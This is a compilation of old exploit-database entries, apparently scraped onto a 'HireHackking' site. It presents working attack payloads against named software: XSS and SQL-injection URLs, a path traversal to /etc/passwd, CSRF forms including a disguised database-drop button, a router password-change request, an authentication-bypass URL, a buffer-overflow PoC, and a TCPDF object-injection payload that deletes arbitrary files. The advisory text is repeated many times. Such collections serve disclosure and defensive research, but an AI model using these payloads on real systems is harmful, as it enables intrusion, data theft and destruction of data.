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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
source: https://www.securityfocus.com/bid/53433/info
  
OrangeHRM is prone to an SQL-injection and multiple cross-site scripting vulnerabilities.
  
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
OrangeHRM 2.7 RC is vulnerable; prior versions may also be affected. 

http://www.example.com/templates/hrfunct/emppop.php?reqcode=1&sortOrder1=%22%3E%3Cscript%3Ealert%28docume nt.cookie%29;%3C/script%3E
HireHackking 
source: https://www.securityfocus.com/bid/53433/info
 
OrangeHRM is prone to an SQL-injection and multiple cross-site scripting vulnerabilities.
 
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
OrangeHRM 2.7 RC is vulnerable; prior versions may also be affected. 

http://www.example.com/plugins/ajaxCalls/haltResumeHsp.php?hspSummaryId=1&newHspStatus=1%3Cscript%3Ealert %28document.cookie%29;%3C/script%3E&empId=1
HireHackking 
source: https://www.securityfocus.com/bid/53433/info

OrangeHRM is prone to an SQL-injection and multiple cross-site scripting vulnerabilities.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

OrangeHRM 2.7 RC is vulnerable; prior versions may also be affected. 

http://www.example.com/plugins/ajaxCalls/haltResumeHsp.php?newHspStatus=1&empId=2&hspSummaryId=%27%20 OR%20%28select%20IF%28%28select%20mid%28version%28%29,1,1%29%29=5,%28select%20BENCHMARK%281000000,EN CODE%28%22hello%22,%22goodbye%22%29%29%29,%272%27%29%29%20--%202
HireHackking 
source: https://www.securityfocus.com/bid/53426/info

PHP Enter is prone to a remote PHP code-injection vulnerability.

An attacker can exploit this issue to inject and execute arbitrary PHP code in the context of the affected application. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

PHP Enter 4.1.2 is vulnerable; other versions may also be affected. 

<form method="post" action="http://www.example.com/admin/banners.php">
<center>
<font color=#3A586A>Code</font><br />
<textarea name="code">&lt;/textarea&gt;
<br /><br />
<input type="submit" name="submit" VALUE=" Submit"><br /><br /><br /><br/>
</form>
HireHackking 
source: https://www.securityfocus.com/bid/53427/info

The Linksys WRT54GL router is prone to a cross-site request-forgery vulnerability.

Successful exploits may allow attackers to run privileged commands on the affected device, change configuration, cause denial-of-service conditions, or inject arbitrary script code. Other attacks are also possible. 

submit_button=Management&change_action=&action=Apply&PasswdModify=1&remote_mgt_https=0&http_enable=1&https_enable=0&wait_time=4&need_reboot=0&http_passwd=YOUR PASSWORD&http_passwdConfirm=YOUR PASSWORD&_http_enable=1&web_wl_filter=0&remote_management=0&upnp_enable=1
HireHackking 
source: https://www.securityfocus.com/bid/53413/info

JibberBook is prone to a security-bypass vulnerability that may allow attackers to perform actions without proper authorization.

Attackers can exploit this issue to bypass authentication to gain administrative privileges ; this may aid in launching further attacks.

JibberBook 2.3 is vulnerable; other versions may also be affected. 

http://www.example.com/Admin/Login_form.php?loggedin=true
HireHackking 
source: https://www.securityfocus.com/bid/53411/info

Ramui Forum Script is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com//gb/user/index.php?query=%22%20onmouseover%3dprompt%28991522%29%20bad%3d%22
HireHackking 
source: https://www.securityfocus.com/bid/53409/info

Multiple Schneider Electric Telecontrol products are prone to an HTML-injection vulnerability because they fail to sufficiently sanitize user-supplied data before it is used in dynamic content.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and control how the site is rendered to the user; other attacks are also possible.

The following products are affected:

Schneider Electric Telecontrol Kerweb versions prior to 3.0.1
Schneider Electric Telecontrol Kerwin versions prior to 6.0.1 

http://www.example.com/kw.dll?page=evts.xml&sessionid=xxx&nomenu=&typeevtwin=alms&dt=&gtvariablevalue=&ltvariablevalue=&variablevalue=&nevariablevalue=&evtclass=&evtdevicezone=&evtdevicecountry=&evtdeviceregion=&evtstatustype=&evtseveritytype=&evtstatus=&evtseverity=&evtlevel=&gtdateapp=&ltdateapp=&gtdaterec=&ltdaterec=&evtvariablename=[XSS]
HireHackking 
source: https://www.securityfocus.com/bid/53398/info

Trombinoscope is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Trombinoscope 3.5 and prior versions are vulnerable. 

http://www.example.com/[script]/photo.php?id=-9999/**/union/**/select/**/1,2,version()--
HireHackking 
source: https://www.securityfocus.com/bid/53355/info

iGuard Security Access Control is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input in the embedded web server.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/></font><IFRAME SRC="JAVASCRIPT:alert('XSS Found by Usman Saeed , Xc0re Security Research Group');">.asp
HireHackking 
source: https://www.securityfocus.com/bid/53306/info
 
MySQLDumper is prone to multiple security vulnerabilities, including:
 
1. Multiple cross-site scripting vulnerabilities.
2. A local file-include vulnerability.
3. Multiple cross-site request-forgery vulnerabilities.
4. Multiple information-disclosure vulnerabilities.
5. A directory-traversal vulnerability.
 
Exploiting these vulnerabilities may allow an attacker to harvest sensitive information, to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, perform unauthorized actions, to view and execute local files within the context of the webserver process and to retrieve arbitrary files in the context of the affected application. This may aid in launching further attacks.
 
MySQLDumper 1.24.4 is vulnerable; other versions may also be affected. 

http://www.example.com/learn/cubemail/install.php?language=../../../../../../../../../../../../../../../../../etc/passwd%00
HireHackking 
source: https://www.securityfocus.com/bid/53292/info

XM Forum is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/[patch]/profile.asp?$sid=&id=[SQL]
http://www.example.com/[patch]/forum.asp?$sid=&id=[SQL]
http://www.example.com/[patch]/topic.asp?$sid=&id=[SQL]
HireHackking 
source: https://www.securityfocus.com/bid/53295/info

Uiga FanClub is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/[Patch]/index2.php?c=1&p=[SQL]
HireHackking 
source: https://www.securityfocus.com/bid/53301/info

PHP Volunteer Management is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

PHP Volunteer Management 1.0.2 is vulnerable; other versions may also be affected. 

http://www.example.com/mods/messages/data/get_messages.php?id=[SQLi]&take=10&skip=0&page=1&pageSize=10
HireHackking 
source: https://www.securityfocus.com/bid/53298/info

BBSXP CMS is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/ShowPost.asp?ThreadID=[SQL]
http://www.example.com/blog.asp?id=[SQL]
http://www.example.com/ShowForum.asp?ForumID=[SQL]
http://www.example.com/Profile.asp?UserName=[SQL]
http://www.example.com/print.asp?id=[SQL]
HireHackking 
source: https://www.securityfocus.com/bid/53302/info

The WPsc MijnPress for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/wp-content/plugins/wp-content/plugins/wpsc-mijnpress/mijnpress_plugin_framework.php?rwflush=[xss]
HireHackking 
Acoustica Pianissimo 1.0 Build 12 (Registration ID) Buffer Overflow PoC


Vendor: Acoustica, Inc.
Product web page: http://www.acoustica.com
Affected version: 1.0 Build 12

Summary: Pianissimo virtual piano uses a combination of sample
playback and advanced physical modeling to create a stunning
acoustic grand piano sound. Starting with 250 MB of high quality
samples of a Steinway™ Model D grand piano, Pianissimo uses
complex signal processing and programming to recreate the warmth,
response, and playability of a real grand piano.

Desc: The vulnerability is caused due to a boundary error in the
processing of a user input in the registration id field of the
registration procedure, which can be exploited to cause a buffer
overflow when a user inserts long array of string for the ID.
Successful exploitation could allow execution of arbitrary code
on the affected machine.

-----------------------------------------------------------------

(b98.1790): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files (x86)\VST\Pianissimo\Pianissimo.dll - 
eax=00000000 ebx=532d0245 ecx=bdeec3ea edx=00000049 esi=4a18d43c edi=06c07739
eip=061fbda7 esp=00184a28 ebp=4d2d0276 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
Pianissimo!CRefObj::SeekToData+0x4127:
061fbda7 8b86dc200000    mov     eax,dword ptr [esi+20DCh] ds:002b:4a18f518=????????
0:000> d esp-1000
00183a28  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
00183a38  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
00183a48  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
00183a58  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
00183a68  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
00183a78  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
00183a88  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
00183a98  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0:000> u 061fbda7
Pianissimo!CRefObj::SeekToData+0x4127:
061fbda7 8b86dc200000    mov     eax,dword ptr [esi+20DCh]
061fbdad 50              push    eax
061fbdae 6a30            push    30h
061fbdb0 681cc52c06      push    offset Pianissimo!CRefObj::Tell+0x45bfc (062cc51c)
061fbdb5 6810c52c06      push    offset Pianissimo!CRefObj::Tell+0x45bf0 (062cc510)
061fbdba e841f8ffff      call    Pianissimo!CRefObj::SeekToData+0x3980 (061fb600)
061fbdbf 83c410          add     esp,10h
061fbdc2 8ac3            mov     al,bl

-----------------------------------------------------------------

Tested on: Microsoft Windows 7 Professional SP1 (EN) 32/64bit
           Microsoft Windows 7 Ultimate SP1 (EN) 32/64bit


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2015-5243
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5243.php


16.03.2015

--

900 bytes:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
11111-11111-11111-11111
HireHackking 
source: https://www.securityfocus.com/bid/53306/info

MySQLDumper is prone to multiple security vulnerabilities, including:

1. Multiple cross-site scripting vulnerabilities.
2. A local file-include vulnerability.
3. Multiple cross-site request-forgery vulnerabilities.
4. Multiple information-disclosure vulnerabilities.
5. A directory-traversal vulnerability.

Exploiting these vulnerabilities may allow an attacker to harvest sensitive information, to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, perform unauthorized actions, to view and execute local files within the context of the webserver process and to retrieve arbitrary files in the context of the affected application. This may aid in launching further attacks.

MySQLDumper 1.24.4 is vulnerable; other versions may also be affected. 

http://www.example.com/learn/cubemail/restore.php?filename=%3Cscript%3Ealert%281%29;%3C/script%3E
HireHackking 
source: https://www.securityfocus.com/bid/53306/info
      
MySQLDumper is prone to multiple security vulnerabilities, including:
      
1. Multiple cross-site scripting vulnerabilities.
2. A local file-include vulnerability.
3. Multiple cross-site request-forgery vulnerabilities.
4. Multiple information-disclosure vulnerabilities.
5. A directory-traversal vulnerability.
      
Exploiting these vulnerabilities may allow an attacker to harvest sensitive information, to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, perform unauthorized actions, to view and execute local files within the context of the webserver process and to retrieve arbitrary files in the context of the affected application. This may aid in launching further attacks.
      
MySQLDumper 1.24.4 is vulnerable; other versions may also be affected. 

<img src="http://www.example.com/tld/meonyourpc.PNG" heigth="250" width="300" />
<form name="hackit" id="hackit" action="http://www.example.com/learn/cubemail/main.php?action=db&dbid=1" method="post">
<p><blink>Hotlink Protection is Active! Please click refresh button.</blink></p>
<input name="kill1" value="Refresh" onclick="alert('Congrats!) Your Database Dropped!')" type="submit">
</form>
HireHackking 
source: https://www.securityfocus.com/bid/53306/info
       
MySQLDumper is prone to multiple security vulnerabilities, including:
       
1. Multiple cross-site scripting vulnerabilities.
2. A local file-include vulnerability.
3. Multiple cross-site request-forgery vulnerabilities.
4. Multiple information-disclosure vulnerabilities.
5. A directory-traversal vulnerability.
       
Exploiting these vulnerabilities may allow an attacker to harvest sensitive information, to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, perform unauthorized actions, to view and execute local files within the context of the webserver process and to retrieve arbitrary files in the context of the affected application. This may aid in launching further attacks.
       
MySQLDumper 1.24.4 is vulnerable; other versions may also be affected. 

http://www.example.com/learn/cubemail/index.php?page=javascript:alert%28document.cookie%29;
HireHackking 
# Exploit Title: WordPress Free Counter Plugin [Stored XSS]
# Date: 2015/05/25
# Exploit Author: Panagiotis Vagenas
# Contact: https://twitter.com/panVagenas
# Vendor Homepage: http://www.free-counter.org
# Software Link: https://wordpress.org/plugins/free-counter/
# Version: 1.1
# Tested on: WordPress 4.2.2
# Category: webapps
# CVE: CVE-2015-4084

1. Description

Any authenticated or non-authenticated user can perform a stored XSS 
attack simply by exploiting wp_ajax_nopriv_check_stat action.
Plugin uses a widget to display website's visits, so any page that 
contains this widget will also load the malicious JS code.

2. Proof of Concept

* Send a post request to `http://www.free-counter.org/Api.php` in order 
to reveal the counter id of the vulnerable site. The POST data must 
contain the following vars: 
`action=create_new_counter&site_url=http%3A%2f%my.vulnerable.website.com`
* As a response we get a serialized indexed array. The value that we 
need to know is the 'counter_id'.
* Send a post request to 
`http://my.vulnerable.website.com/wp-admin/admin-ajax.php` with data: 
`action=check_stat&id_counter=<counter_id from step 
2>&value_=<script>alert(1)</script>`
* Visit a page of the infected website that displays plugin's widget.

Note that the plugin uses the update_option function to store the 
$_POST['value_'] contents to DB so any code inserted there will be 
escaped. Even though a malicious user can omit the quotes in the src 
attr of the script tag. Most modern browsers will treat the tag as they 
were there.

3. Solution

No official solution yet exists.
HireHackking 
source: https://www.securityfocus.com/bid/53306/info
     
MySQLDumper is prone to multiple security vulnerabilities, including:
     
1. Multiple cross-site scripting vulnerabilities.
2. A local file-include vulnerability.
3. Multiple cross-site request-forgery vulnerabilities.
4. Multiple information-disclosure vulnerabilities.
5. A directory-traversal vulnerability.
     
Exploiting these vulnerabilities may allow an attacker to harvest sensitive information, to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, perform unauthorized actions, to view and execute local files within the context of the webserver process and to retrieve arbitrary files in the context of the affected application. This may aid in launching further attacks.
     
MySQLDumper 1.24.4 is vulnerable; other versions may also be affected. 

http://www.example.com/learn/cubemail/restore.php
http://www.example.com/learn/cubemail/dump.php
http://www.example.com/learn/cubemail/refresh_dblist.php
HireHackking 
source: https://www.securityfocus.com/bid/53306/info
   
MySQLDumper is prone to multiple security vulnerabilities, including:
   
1. Multiple cross-site scripting vulnerabilities.
2. A local file-include vulnerability.
3. Multiple cross-site request-forgery vulnerabilities.
4. Multiple information-disclosure vulnerabilities.
5. A directory-traversal vulnerability.
   
Exploiting these vulnerabilities may allow an attacker to harvest sensitive information, to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, perform unauthorized actions, to view and execute local files within the context of the webserver process and to retrieve arbitrary files in the context of the affected application. This may aid in launching further attacks.
   
MySQLDumper 1.24.4 is vulnerable; other versions may also be affected. 

http://www.example.com/learn/cubemail/sql.php?db=0&dbid=1&tablename=%3Cscript%3Ealert%281%29;%3C/script%3E
http://www.example.com/learn/cubemail/sql.php?db=0&dbid=%3Cscript%3Ealert%281%29;%3C/script%3E&tablename=1
HireHackking 
source: https://www.securityfocus.com/bid/53306/info
  
MySQLDumper is prone to multiple security vulnerabilities, including:
  
1. Multiple cross-site scripting vulnerabilities.
2. A local file-include vulnerability.
3. Multiple cross-site request-forgery vulnerabilities.
4. Multiple information-disclosure vulnerabilities.
5. A directory-traversal vulnerability.
  
Exploiting these vulnerabilities may allow an attacker to harvest sensitive information, to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, perform unauthorized actions, to view and execute local files within the context of the webserver process and to retrieve arbitrary files in the context of the affected application. This may aid in launching further attacks.
  
MySQLDumper 1.24.4 is vulnerable; other versions may also be affected. 

http://www.example.com/learn/cubemail/install.php?phase=8%3Cscript%3Ealert%281%29;%3C/script%3E&language=en&submit=Installation
HireHackking 
TCPDF library Universal POI Payload to Arbitrary File Deletion

[+] Author: Filippo Roncari
[+] Target: TCPDF library
[+] Version: <= 5.9 and probably others [tested on v5.9]
[+] Vendor: http://www.tcpdf.org
[+] Accessibility: Remote
[+] Severity: High
[+] CVE: n/a
[+] Advisory URL: n/a
[+] Contacts: f.roncari@securenetwork.it / f@unsec.it


[+] Summary
TCPDF library is one of the world's most used open source PHP libraries, included in thousands of CMS and Web applications worldwide. More information at: http://en.wikipedia.org/wiki/TCPDF. A universal Object Injection payload for vulnerable PHP applications, which make use of TCPDF library, is here shared.


[+] Exploit Details
The identified payload allows to exploit any POI vulnerable web application that uses unserialize() on not sanitized user input in a point from which the Tcpdf class is loadable. The payload abuses the __destruct() magic method of the Tcpdf class defined in tcpdf.php and allows to arbitrary delete files on the filesystem.


[+] Technical Details
Tcpdf.php contains the Tcpdf class definition. The __destruct() method, at least up to version 5.9 (and possibly others), is implemented as follows. 


	[!] Method __destruct() in tcpdf.php
	-------------------------
	public function __destruct() {
		// restore internal encoding
		if (isset($this->internal_encoding) AND !empty($this->internal_encoding)) {
			mb_internal_encoding($this->internal_encoding);
		}
		// unset all class variables
		$this->_destroy(true);
	}
	-------------------------

As you can see, the main action performed by __destruct() is the invocation of the inner _destroy() method, which, along with other things, calls the unlink() function on the internal object buffer. 


	[!] Method _destroy() in tcpdf.php
	-------------------------
	public function _destroy($destroyall=false, $preserve_objcopy=false) {

		if ($destroyall AND isset($this->diskcache) AND $this->diskcache AND (!$preserve_objcopy) AND (!$this->empty_string($this->buffer))) {
			unlink($this->buffer);
		}

		[...]

	}
	-------------------------

For a better understanding of the payload, you should know that $buffer is defined as a protected property of the Tcpdf object, which means significant differences in serialization compared to normal properties. 


	[!] $buffer in tcpdf.php
	-------------------------
	/**
	 * @var buffer holding in-memory PDF
	 * @access protected
	 */
	protected $buffer;
	-------------------------


[+] Proof of Concept (PoC) 
In view of the above, the payload consists of a serialized Tcpdf object with two protected properties set: buffer and diskcache. The first will contain the path to the arbitrary file to delete, while diskcache is a boolean property set to true, necessary to enter the _destroy() inner if branch, in order to reach the unlink() call. A particular attention must be addressed to the null-bytes surrounding the asterisks before the property names. This is the way (crazy, I know) in which PHP serializes protected object properties. An incorrect conversion of the null-bytes during payload injection will result in the exploit failure.

	[!] Payload
	-------------------------
	O:5:"TCPDF":2:{s:9:"%00*%00buffer";s:[PATH_LENGTH]:"[FILE_PATH_TO_DELETE]";s:12:"%00*%00diskcache";b:1;}
	-------------------------


	[!] Generic PoC Exploit
	-------------------------
	http://vulnerablesite.com/vulnerable_page.php?vulnearble_par=O:5:"TCPDF":2:{s:9:"%00*%00buffer";s:26:"/var/www/arbitraryfile.ext";s:12:"%00*%00diskcache";b:1;}
	-------------------------



[+] Disclaimer
Permission is hereby granted for the redistribution of this alert, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.